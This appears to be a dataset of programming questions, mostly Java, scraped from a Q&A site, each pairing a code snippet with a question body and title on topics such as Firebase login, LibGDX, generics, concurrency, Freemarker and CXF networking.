mPassword ; private Toolbar mToolbar ; private FirebaseAuth mAuth ; private ProgressDialog mLoginDialog ; private FirebaseFirestore firebaseFirestore ; private CollectionReference collectionReference_I ; private CollectionReference collectionReference_S ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_login ) ; mAuth = FirebaseAuth.getInstance ( ) ; //Progress Dialog mLoginDialog = new ProgressDialog ( this ) ; //FOr Toolbar mToolbar = findViewById ( R.id.login_toolbar ) ; setSupportActionBar ( mToolbar ) ; getSupportActionBar ( ) .setTitle ( `` Login Account '' ) ; mloginbtn = findViewById ( R.id.login_btn ) ; mEmail = findViewById ( R.id.login_email ) ; mPassword = findViewById ( R.id.login_password ) ; mRegbtn = findViewById ( R.id.login_reg_btn ) ; firebaseFirestore = FirebaseFirestore.getInstance ( ) ; mRegbtn.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View v ) { Intent regIntent = new Intent ( LoginActivity.this , RegisterActivity.class ) ; startActivity ( regIntent ) ; finish ( ) ; } } ) ; mloginbtn.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View v ) { String email = mEmail.getText ( ) .toString ( ) ; String password = mPassword.getText ( ) .toString ( ) ; if ( ! TextUtils.isEmpty ( email ) & & ! TextUtils.isEmpty ( password ) ) { mLoginDialog.setTitle ( `` Login User '' ) ; mLoginDialog.setMessage ( `` Please wait while we login to your account : ) '' ) ; //it stops cancel Dialog when user touch on screen mLoginDialog.setCanceledOnTouchOutside ( false ) ; mLoginDialog.show ( ) ; login_user ( email , password ) ; } } } ) ; } private void login_user ( final String email , final String password ) { collectionReference_I = firebaseFirestore.collection ( `` Teacher '' ) ; collectionReference_S = firebaseFirestore.collection ( `` Student '' ) ; collectionReference_I.whereEqualTo ( `` teacher_email '' , email ) .get ( ) .addOnSuccessListener ( new OnSuccessListener < QuerySnapshot > ( ) { @ Override public void onSuccess ( QuerySnapshot documentSnapshots ) { mAuth.signInWithEmailAndPassword ( email , password ) .addOnCompleteListener ( new OnCompleteListener < AuthResult > ( ) { @ Override public void onComplete ( @ NonNull Task < AuthResult > task ) { if ( task.isSuccessful ( ) ) { //Dismiss the progress Dialog mLoginDialog.dismiss ( ) ; //user is registered Toast.makeText ( LoginActivity.this , `` Welcome to Teacher Account '' , Toast.LENGTH_SHORT ) .show ( ) ; Intent mainIntent = new Intent ( LoginActivity.this , MainActivity.class ) ; startActivity ( mainIntent ) ; finish ( ) ; } else { mLoginDialog.hide ( ) ; //if user is not registered Toast.makeText ( LoginActivity.this , `` Can not Log in Please check the form and try again ! `` , Toast.LENGTH_LONG ) .show ( ) ; } } } ) ; } } ) ; collectionReference_S.whereEqualTo ( `` Student_email '' , email ) .get ( ) .addOnSuccessListener ( new OnSuccessListener < QuerySnapshot > ( ) { @ Override public void onSuccess ( QuerySnapshot documentSnapshots ) { mAuth.signInWithEmailAndPassword ( email , password ) .addOnCompleteListener ( new OnCompleteListener < AuthResult > ( ) { @ Override public void onComplete ( @ NonNull Task < AuthResult > task ) { if ( task.isSuccessful ( ) ) { //Dismiss the progress Dialog mLoginDialog.dismiss ( ) ; //user is registered Toast.makeText ( LoginActivity.this , `` Welcome to Student Account '' , Toast.LENGTH_SHORT ) .show ( ) ; Intent mainIntent = new Intent ( LoginActivity.this , StudentMain.class ) ; startActivity ( mainIntent ) ; finish ( ) ; } else { mLoginDialog.hide ( ) ; //if user is not registered Toast.makeText ( LoginActivity.this , `` Can not Log in Please check the form and try again ! `` , Toast.LENGTH_LONG ) .show ( ) ; } } } ) ; } } ) ; } }",How to redirect a user to a specific activity in Cloud Firestore ? +Java,I have been using Java + AspectJ extensively for my startup . I would love to switch to Scala but I have a common design pattern that I am not sure entirely the best way to implement in Scala.A tremendous amount of our application uses AspectJ pointcuts using annotations as the marker.This is very similar to Python 's decorator and blogged about it here.I have tried doing this technique in Scala but had problems with AspectJ + Scala.Even if I did get it to work it seems unScala like . I have seen some projects do some call-by-name closure magic ( I think thats what they are doing ) .Example of a replace of @ Transaction : I have to say though I prefer the annotation more as it seems more declarative.What is the Scala way of declaratively `` decorating '' code blocks ?,transaction { // code in here . },Scala : Implementing Java 's AspectJ around advice or Python decorators +Java,"I 'm making pong in javaIf the ball goes out of bounds , pause is set to true : which should sleep the timer ... after the thread has slept for 1000ms , pause will be set to false and the ball should continue moving ( ball.autoMove ( ) ) : Ball Class AutoMove ( ) function : It does all of that ... it sleeps , pause is set to false , etc ... but when the ball is reset ( reset in the middle of the screen ... ) after it pauses for 1 second , it jumps to the far side of the game panel which tells me that while the thread was `` sleeping '' , ball.autoMove ( velocityX , velocityY ) ; was still updating the coordinates.Why is this happening ? Should n't that not be run ? Thanks !","if ( ball.getX ( ) < = 0 ) { score2++ ; pause = true ; } if ( ball.getX ( ) > = this.getWidth ( ) -ballWidth ) { score1++ ; pause = true ; } public void timer ( ) { int initialDelay = 1000 ; timer.scheduleAtFixedRate ( new TimerTask ( ) { public void run ( ) { if ( pause ) { try { ball.reset ( width/2 , height/2 ) ; Thread.sleep ( 1000 ) ; pause = false ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } } ball.autoMove ( velocityX , velocityY ) ; collisionCheck ( ) ; } } , initialDelay , 100 ) ; } public void autoMove ( double velX , double velY ) { xLoc = this.getX ( ) +velX ; yLoc = this.getY ( ) +velY ; }",Java Pong - timer thread sleep still runs function +Java,"While reading the Stream interface source code I found this method signature : I wonder why the input type of mapper is ? super T while the output type is ? extends R , why not use ? extends for both ?","< R > Stream < R > map ( Function < ? super T , ? extends R > mapper ) ;",Generic bounded wildcard of function input type +Java,"Knowing that Reads and writes are atomic for all variables declared volatileQuestion1 : Can this be understood as ifx++ ; operation is atomic ? And that Marking variable volatile does not eliminate all need to synchronize atomic actions , because memory consistency errors are still possible.Question2 : I wonder under what circumstances ( if any ) it is possible to see a variable marked volatile and not see any methods of blocks marked synchronized ( that attempt to access/ modify the variable ) ? In other words , should all variables that need to be protected from concurrent modification be marked volatile ?",private volatile int x = 0 ;,Uses of volatile without synchronization +Java,"I need to have more control about my printer and then I 'm trying to get PrinterState of my printer and then use PrintStareReasons . My code is the following : Googling I also write getAttributes ( ) to get all attribures but PrinterState is not present.This is the list of all attributes : While return always : I have tested the following code on Linux and on Windows ( 7 ) , but none of them return the actual status . What could be the problem ? The printer , the Driver or my code ?","public void checkPrinterStatus ( ) { try { logger.info ( `` Check -- -- -- -- -- -- -- `` ) ; Thread.sleep ( 2000 ) ; } catch ( InterruptedException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } PrintService printer = configParamPrintService.getPrintService ( ) ; logger.info ( `` State `` + printer.isAttributeCategorySupported ( PrinterState.class ) ) ; Set < Attribute > attributes = getAttributes ( printer ) ; for ( Attribute attr : attributes ) { logger.info ( attr.getName ( ) ) ; } } public static Set < Attribute > getAttributes ( PrintService printer ) { Set < Attribute > set = new LinkedHashSet < Attribute > ( ) ; //get the supported docflavors , categories and attributes Class < ? extends Attribute > [ ] categories = ( Class < ? extends Attribute > [ ] ) printer.getSupportedAttributeCategories ( ) ; DocFlavor [ ] flavors = printer.getSupportedDocFlavors ( ) ; AttributeSet attributes = printer.getAttributes ( ) ; //get all the avaliable attributes for ( Class < ? extends Attribute > category : categories ) { for ( DocFlavor flavor : flavors ) { //get the value Object value = printer.getSupportedAttributeValues ( category , flavor , attributes ) ; //check if it 's something if ( value ! = null ) { //if it 's a SINGLE attribute ... if ( value instanceof Attribute ) set.add ( ( Attribute ) value ) ; // ... then add it //if it 's a SET of attributes ... else if ( value instanceof Attribute [ ] ) set.addAll ( Arrays.asList ( ( Attribute [ ] ) value ) ) ; // ... then add its childs } } } return set ; } 21.12.2015 16:48:56 INFO PrintWorker:142 - Check -- -- -- -- -- -- -- 21.12.2015 16:48:58 INFO PrintWorker:151 - State false21.12.2015 16:48:58 INFO PrintWorker:154 - copies-supported21.12.2015 16:48:58 INFO PrintWorker:154 - finishings21.12.2015 16:48:58 INFO PrintWorker:154 - job-sheets21.12.2015 16:48:58 INFO PrintWorker:154 - job-sheets21.12.2015 16:48:58 INFO PrintWorker:154 - number-up21.12.2015 16:48:58 INFO PrintWorker:154 - number-up21.12.2015 16:48:58 INFO PrintWorker:154 - number-up21.12.2015 16:48:58 INFO PrintWorker:154 - number-up21.12.2015 16:48:58 INFO PrintWorker:154 - number-up21.12.2015 16:48:58 INFO PrintWorker:154 - number-up21.12.2015 16:48:58 INFO PrintWorker:154 - orientation-requested21.12.2015 16:48:58 INFO PrintWorker:154 - orientation-requested21.12.2015 16:48:58 INFO PrintWorker:154 - orientation-requested21.12.2015 16:48:58 INFO PrintWorker:154 - orientation-requested21.12.2015 16:48:58 INFO PrintWorker:154 - page-ranges21.12.2015 16:48:58 INFO PrintWorker:154 - media21.12.2015 16:48:58 INFO PrintWorker:154 - spool-data-destination logger.info ( `` State `` + printer.isAttributeCategorySupported ( PrinterState.class ) ) ; 21.12.2015 16:48:58 INFO PrintWorker:151 - State false",Why is PrinterState always null ? +Java,"Situation : First of all , I 'm newbie in LibGDX.I 'm making a game where players may see all achievements in a screen , so I 'm using a ScrollPane for this . The achievements are shown in a form of pop up ( see image below ) . The list of achievements will be inside those red lines . Screenshot : Problem : The problem is : the screen only shows black screen when I added a widget to the ScrollPane . The weird thing is : - When I dragged the ScrollPane , everything is rendered properly.- But when I let go , the screen goes black again . What I 've done : - I figured out that any actors ( not just table ) I put inside the ScrollPane parameter will result in black screen.- If I set it to null , it works fine.Code : Question : Anyone has any ideas about what 's going on ? And how do I fix it ? Thx in advance ... ================================================================================== UPDATE==================================================================================After hours of experiment , I created a much simpler project with only a screen and an actor from a scratch : TestActor.java ( this is the actor ) TestClass.java ( this is the screen ) Also I figured out something that may be a clue while I was debugging : - At the first frame , everything is rendered properly . - Starting from second frame , the screen goes black . Is this a bug ? Or is it something that I misunderstand ? Any help would be greatly appreciated ...","public void show ( ) { stage = new Stage ( ) ; roomScreenUI = new RoomScreenUI ( ) ; roomScreenUI.setName ( `` RoomScreenUI '' ) ; stage.addActor ( roomScreenUI ) ; roomScreenButton = new RoomScreenButton [ 5 ] ; for ( int i=0 ; i < roomScreenButton.length ; i++ ) { roomScreenButton [ i ] = new RoomScreenButton ( i+1 , roomScreenUI.getScaleFactor ( ) ) ; roomScreenButton [ i ] .setName ( `` RoomScreenButton '' ) ; stage.addActor ( roomScreenButton [ i ] ) ; } roomScreenAchievementUI = new RoomScreenAchievementUI ( roomScreenUI.getScaleFactor ( ) ) ; roomScreenAchievementUI.setName ( `` RoomScreenAchievementUI '' ) ; stage.addActor ( roomScreenAchievementUI ) ; // -- -- -- -- -- -- -- -- THE PROBLEM LIES HERE -- -- -- -- -- -- -- -- // achievementContainer = new Table ( ) ; scrollPane = new ScrollPane ( achievementContainer ) ; // scrollPane = new ScrollPane ( null ) ; < -- If I replace it with this line , it works fine // -- -- -- -- -- -- -- -- THE PROBLEM LIES HERE -- -- -- -- -- -- -- -- // achievementTable = new Table ( ) ; achievementTable.setSize ( roomScreenAchievementUI.getWidth ( ) * 0.9f , roomScreenAchievementUI.getHeight ( ) * 0.8f ) ; achievementTable.setPosition ( roomScreenAchievementUI.getX ( ) + roomScreenAchievementUI.getWidth ( ) / 2 - achievementTable.getWidth ( ) / 2 , roomScreenAchievementUI.getY ( ) + roomScreenAchievementUI.getHeight ( ) * 0.48f - achievementTable.getHeight ( ) / 2 ) ; achievementTable.debug ( ) ; achievementTable.add ( scrollPane ) .expand ( ) .fill ( ) ; achievementTable.setName ( `` AchievementTable '' ) ; stage.addActor ( achievementTable ) ; Gdx.input.setInputProcessor ( stage ) ; } public void render ( float delta ) { Gdx.gl.glClearColor ( 0 , 0 , 0 , 1 ) ; Gdx.gl.glClear ( GL20.GL_COLOR_BUFFER_BIT ) ; // ... code omitted ... // stage.act ( delta ) ; stage.draw ( ) ; } Texture texture ; Sprite sprite ; public TestActor ( ) { // I used the default generated image badlogic.jpg texture = new Texture ( Gdx.files.internal ( `` badlogic.jpg '' ) ) ; sprite = new Sprite ( texture ) ; } @ Overridepublic void draw ( Batch batch , float alpha ) { batch.draw ( sprite , 0 , 0 , Gdx.graphics.getWidth ( ) , Gdx.graphics.getHeight ( ) ) ; } Stage stage ; ScrollPane scrollPane ; Table outerTable , innerTable ; TestActor testActor ; @ Overridepublic void show ( ) { stage = new Stage ( ) ; testActor = new TestActor ( ) ; stage.addActor ( testActor ) ; // -- -- -- -- -THE PROBLEM IS STILL HERE -- -- -- -- -// innerTable = new Table ( ) ; scrollPane = new ScrollPane ( innerTable ) ; // change it to null , it works // -- -- -- -- -THE PROBLEM IS STILL HERE -- -- -- -- -// outerTable = new Table ( ) ; outerTable.setPosition ( 0 , 0 ) ; outerTable.setSize ( Gdx.graphics.getWidth ( ) , Gdx.graphics.getHeight ( ) ) ; outerTable.debug ( ) ; outerTable.add ( scrollPane ) .fill ( ) .expand ( ) ; stage.addActor ( outerTable ) ; } @ Overridepublic void render ( float delta ) { Gdx.gl.glClearColor ( 0 , 0 , 0 , 1 ) ; Gdx.gl.glClear ( GL20.GL_COLOR_BUFFER_BIT ) ; stage.act ( delta ) ; stage.draw ( ) ; }",LibGDX ScrollPane Showing Black Screen +Java,"the following sheet represents the working flow in the application this question is about.I ran into problems with OutOfMemory Errors , mostly because users were able to switch from activity B to activity D multiple times ( They are showing different content for every attempt ) , without the previous activity being destroyed . This led into a very large backstack resulting in an OutOfMemory error.To avoid this , I followed the recommendation to add parent activites to the manifest and create new backstacks with the TaskStackBuilder class : If a user now switches from activity B to D , MainMenu , A and B are destroyed and a new Backstack ( MainMenu , C , D ) is created.This solves my memory problems for api level greater 10 , but unfortunately the TaskStackBuilder does not create backstacks for devices pre api 11.Any idea what to do in order to avoid users stacking infinite amounts of activities prior api 11 ? Is this even possible or should I try to free as many resources as possible in onPause to gain a maximum amount of stacked activities before OoM ? thanks in advance !","void openDFromB ( ) { Intent i = new Intent ( this , ActivityD.class ) ; TaskStackBuilder.create ( this ) .addParentStack ( ActivityD.class ) .addNextIntent ( i ) .startActivities ( ) ; }",Android : OutOfMemory error and the backstack +Java,"There was recently a question asking whether it was a good idea in Java to assign the results of calling a getter to a local variable to avoid multiple calls to the same accessor . I ca n't find the original post but the consensus seemed to be that this generally is n't necessary as Hotspot will optimise away the method call overhead anyway.However , what is the view on employing this technique to avoid multiple casts ? At the moment I 'm faced with a choice between : OR","if ( a instanceof Foo ) { // Cast once and assign to local variable . Foo foo = ( Foo ) a ; if ( foo.getB ( ) == 1 & & foo.getC ( ) == 2 ) { ... } } if ( a instanceof Foo ) { // Cast twice making code compact but possibly less readable . // Also , is there an overhead in multiple casts ? if ( ( ( Foo ) a ) .getB ( ) == 1 & & ( ( Foo ) a ) .getC ( ) == 2 ) { ... } }",Local variable assignment to avoid multiple casts +Java,"The Goal : I 'm attempting to produce a pyramid similar to the format given below . This requires a basic Java program that accepts user input , converts from numbers to strings , uses nested loops , and generates formatted output . Here is an example of the desired output using 8 rows.The Problem : I believe I have the logic to properly increment the numbers , however I need help with formatting the pyramid . I am able to add spaces between each number , but if the number of lines is > 10 , then the formatting is messed up as you can see . On the final line ( line 10 ) , the number 1 is no longer centered . What is the reason and how can I solve this ? I know I can use System.out.printf ( `` % 4s '' , value ) , but want to find a way to do this without hard-coding in case the number of rows is > 1000 . Thank you in advance for any guidance your much more knowledgeable minds can give me.My Current Code :","Enter the number of lines : 8 1 2 1 2 3 2 1 2 3 4 3 2 1 2 3 4 5 4 3 2 1 2 3 4 5 6 5 4 3 2 1 2 3 4 5 6 7 6 5 4 3 2 1 2 3 4 5 6 7 8 7 6 5 4 3 2 1 2 3 4 5 6 7 8 1 2 1 2 3 2 1 2 3 4 3 2 1 2 3 4 5 4 3 2 1 2 3 4 5 6 5 4 3 2 1 2 3 4 5 6 7 6 5 4 3 2 1 2 3 4 5 6 7 8 7 6 5 4 3 2 1 2 3 4 5 6 7 8 9 8 7 6 5 4 3 2 1 2 3 4 5 6 7 8 9 10 9 8 7 6 5 4 3 2 1 2 3 4 5 6 7 8 9 10 import java.util.Scanner ; public class Pyramid1 { public static void main ( String [ ] args ) { int i , j , k , a ; //Create a Scanner object Scanner input = new Scanner ( System.in ) ; //Prompt the user to enter number of rows in pyramid System.out.print ( `` Enter number of rows : `` ) ; int rows = input.nextInt ( ) ; a = rows ; //Logic for ( i=1 ; i < =rows ; i++ ) { for ( j=a ; j > 1 ; j -- ) { System.out.printf ( `` % s '' , `` `` ) ; } for ( k=i ; k ! =0 ; k -- ) { String str1 = `` '' + k ; System.out.printf ( `` % s '' , str1 ) ; } a -- ; for ( int l=2 ; l < =i ; l++ ) { String str2 = `` '' + l ; System.out.printf ( `` % s '' , str2 ) ; } System.out.println ( ) ; } } }",Simple Java Pyramid - Using System.out.printf ( ) to format output +Java,"I wish to do lazy evaluation on a list of functions I 've defined as follows ; where as you see , each class ( a , b & c ) has an Optional < Output > eval ( Input in ) method defined . If I try to doignoring explicit type , it gives T is not a functional interfacecompilation error . Not accepting functional interface type for T generic type in .of ( T ... values ) Is there a snappier way of creating a stream of these functions ? I hate to explicitly define of method with Function and its in-out types . Would n't it work in a more generic manner ? This issue stems from the topic of the following question ; Lambda Expression and generic method","Optional < Output > output = Stream. < Function < Input , Optional < Output > > > of ( classA : :eval , classB : :eval , classC : :eval ) .map ( f - > f.apply ( input ) ) .filter ( Optional : :isPresent ) .map ( Optional : :get ) .findFirst ( ) ; Stream.of ( ... ) ... .",Better way to create a stream of functions ? +Java,"I have two classes : andProblemIf somewhere ( actually , in another singleton-class constructor ) I use something like this : my singleton always nullQuestion Why ?",public class Singleton { private Singleton ( ) { ... } private static class InstanceHolder { private static final Singleton instance=new Singleton ( ) ; } public static Singleton getInstance ( ) { return InstanceHolder.instance ; } } public class Someclass { private static final Singleton singleton=Singleton.getInstance ( ) ; public static Singleton getSingleton ( ) { return singleton ; } } private final Singleton singleton=Someclass.getSingleton ( ) ;,Trouble with static field and singleton +Java,"I 'm using `` totally lazy '' and I have a desire for Either < String , Option < A > > in a program I 'm writing . This is a terrific place to use a Monad Transformer for Option ( similar to the awesome one that exists in Scalaz 7 ) . I ca n't seem to get the Generics right in Java 8 . The code below is what I would love for it to look like ( for a start ) . Any suggestions of how to get it to work/compile would be AMAZING ! ! ! Please help me get this Monad Transformer to exist for my Java 8 code . EDIT : I get the following compiler failure :","import com.googlecode.totallylazy.Monad ; import com.googlecode.totallylazy.Option ; import com.googlecode.totallylazy.functions.Function1 ; import static com.google.common.base.Preconditions.checkNotNull ; public class OptionT < M extends Monad , A > { final M < Option < A > > run ; public OptionT ( final M < Option < A > > run ) { this.run = checkNotNull ( run ) ; } public < B > OptionT < M , B > map ( Function1 < A , B > f ) { return new OptionT < M , B > ( run.map ( o- > o.map ( f ) ) ) ; } } OptionT.java:15 : error : unexpected type final M < A > run ; ^ required : class found : type parameter M where M is a type-variable : M extends Monad < Option < ? > > declared in class OptionTOptionT.java:17 : error : unexpected type public OptionT ( final M < A > run ) { ^ required : class found : type parameter M where M is a type-variable : M extends Monad < Option < ? > > declared in class OptionT",Java 8 Generic of Generic for Monad Transformer +Java,"I have a CXF client that connects to a Web Service . This client is installed in a machine tha has two IP addresses in the same network ( for example 172.16.1.101 and 172.16.1.102 ) .How can I configure the CXF client to use a specific source IP address , so that the server sees the requests coming from that specific IP address and not the other ? If I had access to the Socket , I would do something like : Is it possible to configure the Sockets created by CXF so I can specify the source IP address ? EDIT : I need to specify the source IP address because between the client and the web server there is a firewall that has rules for one of the IP addresses ( connections coming from the other IP address are blocked ) .","Socket s = new Socket ( ) ; s.bind ( new InetSocketAddress ( `` 172.16.1.102 '' , 0 ) ) ; //this Ip address is the one I need to specifys.connect ( new InetSocketAddress ( `` google.com '' , 80 ) ) ;",Binding CXF Client source IP address +Java,"Just a theoretic question , I do not have practical use-case currently.Assuming some my API accepts function reference as an argument and I would like to both feed it directly from code via ' : : ' syntax or collect matching functions via reflection , store in some Map and invoke conditionally.It is possible to programmatically convert method into Consumer < String > ? Update : Though not satisfied by solutions in currently provided answers , but after getting the hint about LambdaMetaFactory I tried to compile this codeand after feeding only Test class into CFR decompiler I 'm getting following back : Out of that I see that : This is somehow possible to do in ' 1-liner ' mannerNo exception handling is requiredI have no idea what is ( Ljava/lang/Object ; ) V ( and others ) in decompiler 's output . It should match to MethodType in metafactory ( ) arguments . Additionally - either decompiler 'eats/hides ' something , but there seems to be now invocations of methods during getting of function reference . ( offtop ) Obtaining function reference even in compiled code is at least one function call - in general this may be not unnoticeably cheap operation in performance critical code.And ... with both Test and TestImpl classes provided , CFR reconstructs absolutely same code that I 've compiled .","Map < String , Consumer < String > > consumers = new HashMap < > ( ) ; consumers.put ( `` println '' , System.out : :println ) ; Method method = PrintStream.class.getMethod ( `` println '' , String.class ) ; consumers.put ( `` println '' , makeFunctionReference ( method ) ) ; ... myapi.feedInto ( consumers.get ( someInput.getConsumerId ( ) ) ) ; public class TestImpl { public static void FnForString ( String arg ) { } } public class Test { void test ( ) { List < String > strings = new ArrayList < > ( ) ; Consumer < String > stringConsumer = TestImpl : :FnForString ; strings.stream ( ) .forEach ( stringConsumer ) ; strings.stream ( ) .forEach ( TestImpl : :FnForString ) ; stringConsumer.accept ( `` test '' ) ; } } public class Test { void test ( ) { ArrayList strings = new ArrayList ( ) ; Consumer < String > stringConsumer = ( Consumer < String > ) LambdaMetafactory.metafactory ( null , null , null , ( Ljava/lang/Object ; ) V , FnForString ( java.lang.String ) , ( Ljava/lang/String ; ) V ) ( ) ; strings.stream ( ) .forEach ( stringConsumer ) ; strings.stream ( ) .forEach ( ( Consumer < String > ) LambdaMetafactory.metafactory ( null , null , null , ( Ljava/lang/Object ; ) V , FnForString ( java.lang.String ) , ( Ljava/lang/String ; ) V ) ( ) ) ; stringConsumer.accept ( `` test '' ) ; } }",Create Java8 function reference programmatically +Java,"I try to use this function but it does n't work with this case '12/05/201a ' somebody knows why happen this ? In my test I use this System.out.println ( isThisDateValid ( `` 12/05/201a '' , `` dd/MM/yyyy '' ) ) ; and the answer was true but I 'm expected the result would be false because year contains letters .","public static boolean isThisDateValid ( String dateToValidate , String dateFromat ) { if ( dateToValidate == null ) { return false ; } SimpleDateFormat sdf = new SimpleDateFormat ( dateFromat ) ; sdf.setLenient ( false ) ; try { //if not valid , it will throw ParseException Date date = sdf.parse ( dateToValidate ) ; System.out.println ( date ) ; } catch ( ParseException e ) { e.printStackTrace ( ) ; return false ; } return true ; }",SimpleDateFormat does n't work as expected +Java,"Every time I use the Euclid method for checking if two numbers are co-prime . But there is one solution which has used this code to check for co-primeness , and the time taken by this was much faster than the Euclid method : ( source ) I 'm unable to understand how is this working . ( I do understand bitwise operations . ) For example , what do these lines mean ... Why simply return false ? Also there are other lines which I 'm not able to understand what is happening . If any one of you could you just give me some walkthrough it will be of much help .","private static boolean isCoprime ( long u , long v ) { if ( ( ( u | v ) & 1 ) == 0 ) return false ; while ( ( u & 1 ) == 0 ) u > > = 1 ; if ( u == 1 ) return true ; do { while ( ( v & 1 ) == 0 ) v > > = 1 ; if ( v == 1 ) return true ; if ( u > v ) { long t = v ; v = u ; u = t ; } v -= u ; } while ( v ! = 0 ) ; return false ; } if ( ( ( u | v ) & 1 ) == 0 ) return false ;",Explain how coprime check works +Java,"I created a Spring Boot Application using Spring Initilizr . I then included Apache 's Freemarker template engine to load the templates from my project . The engine by default loads templates from : src/main/resources/templates/ folder.I am trying to load a simple index.ftl file as template when the user visits the webpage http : //localhost:8080 . But I need to load the templates from src/main/webapp/ folder . Whenever I try to load the templates from outside the resources folder , the template engine fails to find the templates.I have gone through various tutorials and Stack Overflow questions . None answer my question and I 'm stuck with a 404 ERROR because the engine is not able to find the files.The file structure is : After a lot of digging , I came across a post where they suggested changing the location where the template engine searches the files . It suggested adding following lines in application.properties : This does n't seem to work at all.I am trying to resolve simple index page when I visit the webpage at http : //localhost:8080 . I 've written following code for mapping the HTTP request in ViewController.java : No idea if I am totally getting it wrong or I 've missed some configuration .",|-src| -- -main| -- -- -java| -- -- -- -MainApplication.java| -- -- -- -controllers| -- -- -- -- -ViewController.java| -- -- -resources| -- -- -- -static| -- -- -- -templates| -- -- -- -application.properties| -- -- -webapp| -- -- -- -index.ftl spring.freemarker.enabled=truespring.freemarker.template-loader-path=classpath : src/main/webapp/ @ RequestMapping ( `` / '' ) public ModelAndView home ( Model model ) { return new ModelAndView ( `` index '' ) ; },Allow Apache 's FreeMarker template engine to load templates from outside Resources folder +Java,"Is there a way to detect , from within the finally clause , that an exception is in the process of being thrown ? See the example below : or is ignoring one of the exceptions the only thing you can do ? In C++ it does n't even let you ignore one of the exceptions and just calls terminate ( ) . Most other languages use the same rules as java .","try { // code that may or may not throw an exception } finally { SomeCleanupFunctionThatThrows ( ) ; // if currently executing an exception , exit the program , // otherwise just let the exception thrown by the function // above propagate }",Fail fast finally clause in Java +Java,There is two classes Super1 and Sub1Super1.classSub1.classWhen I invoke the method printThree of class Sub1 I expected the output to be : Print Three 3Because Sub1 constructor calling the super.printThree ( ) ; .But I actually get 0 Print Three 3I know 0 is default value of int but how it is happening ?,public class Super1 { Super1 ( ) { this.printThree ( ) ; } public void printThree ( ) { System.out.println ( `` Print Three '' ) ; } } public class Sub1 extends Super1 { Sub1 ( ) { super.printThree ( ) ; } int three= ( int ) Math.PI ; public void printThree ( ) { System.out.println ( three ) ; } public static void main ( String ... a ) { new Sub1 ( ) .printThree ( ) ; } },What happens if you call an overridden method using super in a constructor +Java,"While doing stream operations , during the intermediate/pipeline operations the streams would be created with different characteristics ( e.g : SORTED/SIZED/DISTINCT/ORDERED ) - Mastering Lambdas ( Ch 6 ) How do we find out the different characteristics of the stream as mentioned in the above snippet ?","Stream.of ( 8,3,5,6,7,4 ) // ORDERED , SIZED.filter ( i- > i % 2==0 ) // ORDERED.sorted ( ) // ORDERED , SORTED.distinct ( ) // DISTINCT , ORDERED , SORTED.map ( i- > i+1 ) // ORDERED.unordered ( ) ; // none",How to correctly find the stream characteristics in Java-8 ? +Java,"I 'm beginning to program in Java.A book said that I should use static in this case , but does n't clearly say why I should or what it means.Could you clarify this ?",public static void main ( String [ ] args ),What is `` static '' ? +Java,"I was working on switch case . If we use class.getName ( ) , then , I am getting error that `` case expressions must be constant expressions '' as follows : Even if we do following , take string class name in a constant , then also , getting same error : But , if I do following , use the string literal `` java.lang.String '' , there is not error : Can anybody please explain this , why its not taking first two cases and taking the last one ? Thanks in advance .",switch ( param.getClass ( ) .getName ( ) ) { case String.class.getName ( ) : // to do break ; } public static final String PARAM_NAME = String.class.getName ( ) ; switch ( param.getClass ( ) .getName ( ) ) { case PARAM_NAME : // to do break ; } public static final String PARAM_NAME = `` java.lang.String '' ;,java 8 : difference between class.getName ( ) and String literal +Java,"I 'm trying to determine if I need to recompile some jars in our build chain , if I have for example the following structure , jar 1 compiles when its ' source changes and jar 2 compiles when its ' source changes or when jar 1 has recompiled.jar 1 : jar 2 : Assuming the contract between the 2 classes does n't change , ie . an abstract method is added or a method is added to an interface , etc.Do I need to recompile jar 2 ? ie . if some changes are made to a private method within Foo would Bar need to be recompiled ? I tried testing this by comparing the bytecode of two classes after changing a bunch in one and as expected it did not change . My coworkers however insist that they have encountered situations where even though the contract was unchanged they had to recompile everything for it to work , however they ca n't remember what the reason was ... So the burden of proof is on me to show that that should not be necessary . Is there a case where making a change to a superclass will require the subclass to be recompiled even though the interface between the two has remained the same ?",public class Foo /* impl*/ public class Bar extends Foo /*impl*/,Can the bytecode of a class change if a parent class/interface changes ? +Java,"In the following piece of code : Looking at performance , is it useful to first do a Map.containsKey ( ) check before trying to remove the value from the map ? Same question goes for retrieving values , is it useful to first do the contains check if you know that the map contains no null values ?",if ( map.containsKey ( key ) ) { map.remove ( key ) ; } if ( map.containsKey ( key ) ) { Object value = map.get ( key ) ; },Is Map.containsKey ( ) useful in a Map that has no null values ? +Java,"I need a Map , that once a key gets a value , any additional attempt of putting a value on the same key will throw an exception.For example : Of course I can implement this on my own ( e.g . by extending HashMap , or surrounding every call to put with if map.contains ( key ) ) , but I prefer using something ready-made that keeps my code clean.Does anybody know of such implementation ?","map.put ( `` John '' , 3 ) ; //OKmap.put ( `` John '' , 7 ) ; // throws some exceptionmap.put ( `` John '' , 11 ) ; // throws some exception",Is there a Java Map implementation that enforces final keys ? +Java,"I 've run across a rather strange problem that I can create when running Java 8 . The problem presents itself as if some sort of timing error is happening within the JVM itself . It is intermittent in nature , but easily reproducible ( at least within my test environments ) . The problem is that an array value being explicitly set is being destroyed and replaced with a 0.0 under certain circumstances . Specifically , in the code below , array [ 0 ] is evaluating to 0.0 after the line new Double ( r.nextDouble ( ) ) ; . Then , if you immediately look at the contents of array [ 0 ] again , it now shows the value to be the correct value of 1.0 . Sample output from running this test case is : I 'm running 64-bit Windows 7 and am able to reproduce this problem , from both within Eclipse and when compiling from the command line , with JDKs 1.8_45 , 1.8_51 , and 1.8_60 . I am unable to produce the problem running 1.7_51 . The same results have been demonstrated on another 64-bit Windows 7 box.This problem appeared in a large , non-trivial piece of software , but I 've managed to condense it down to a few lines of code . Below is a small test case that demonstrates the issue . It is a rather odd looking test case , but appears to all be necessary to cause the error . The use of Random is not required - I can replace all r.nextDouble ( ) with any double value and demonstrate the issue . Interestingly enough , if someArray [ 0 ] = .45 ; is replaced with someArray [ 0 ] = r.nextDouble ( ) ; , I could not replicate the issue ( although there is nothing special about .45 ) . Eclipse debugging is also of no help - it changes the timing enough such that it does n't happen anymore . Even a well placed System.err.println ( ) statement will cause the issue to no longer appear.Again , the issue is intermittent , so to reproduce the issue one might have to run this test case several times . I think the most I 've had to run it is around 10 times before I get the output shown above . In 